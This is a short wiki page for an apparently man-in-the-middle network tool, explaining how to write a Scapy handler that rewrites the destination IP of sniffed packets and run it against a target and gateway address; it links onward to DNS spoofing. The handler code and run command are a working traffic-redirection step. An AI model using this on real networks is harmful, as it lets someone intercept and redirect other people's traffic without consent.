Skip to content

Latest commit

 

History

History
19 lines (17 loc) · 906 Bytes

custom-handlers.md

File metadata and controls

19 lines (17 loc) · 906 Bytes

[wiki]::Custom handlers

  1. Write your packet handler function test.py
    from scapy.all import * def my_handler(packet): old_dst = packet[IP].dst packet[IP].dst = "192.168.1.113" print("[HANDLER] modified from", old_dst, "to", packet[IP].dst) return packet
  2. Discover your target's ip and gateway ip: you can use subdisc for this task.
  3. Run: sudo python3 main.py [target ip] [gateway ip] custom test.my_handler
  4. The sniffed packets will now be modified by the function my_handler from the file test.py

Screenshots

screenshot

Next wiki page: dns spoofing